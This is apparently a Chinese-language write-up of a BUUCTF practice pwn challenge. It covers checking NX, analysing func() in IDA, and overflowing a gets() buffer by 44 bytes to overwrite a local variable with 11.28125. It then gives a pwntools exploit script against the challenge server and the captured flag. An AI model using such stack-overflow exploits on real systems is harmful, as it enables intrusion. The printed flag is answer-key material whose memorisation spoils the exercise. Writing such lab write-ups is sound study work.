一,查保护。
NX保护,堆栈不可执行。
64位程序
二,拖进IDA分析
调用了func()函数,进去后分析。
如下图:
主要思路就是覆盖v2的地址为11.28125,利用gets函数输入v1时存在的栈溢出漏洞。
三,找payload所需条件。
v1距离v2为16×3-4=44.
11.28125的地址:
图上箭头指的为11.28125的16进制
点进去
找到地址。
四,打开靶机,写payload。
from pwn import *
p = remote("node4.buuoj.cn", 28877)
payload=b'a'*44+p64(0x41348000)
p.sendline(payload)
p.interactive()
五,打通获得flag。
flag{fb584c1a-982c-4dc9-8beb-84ec7610d6b7}
谢谢阅读。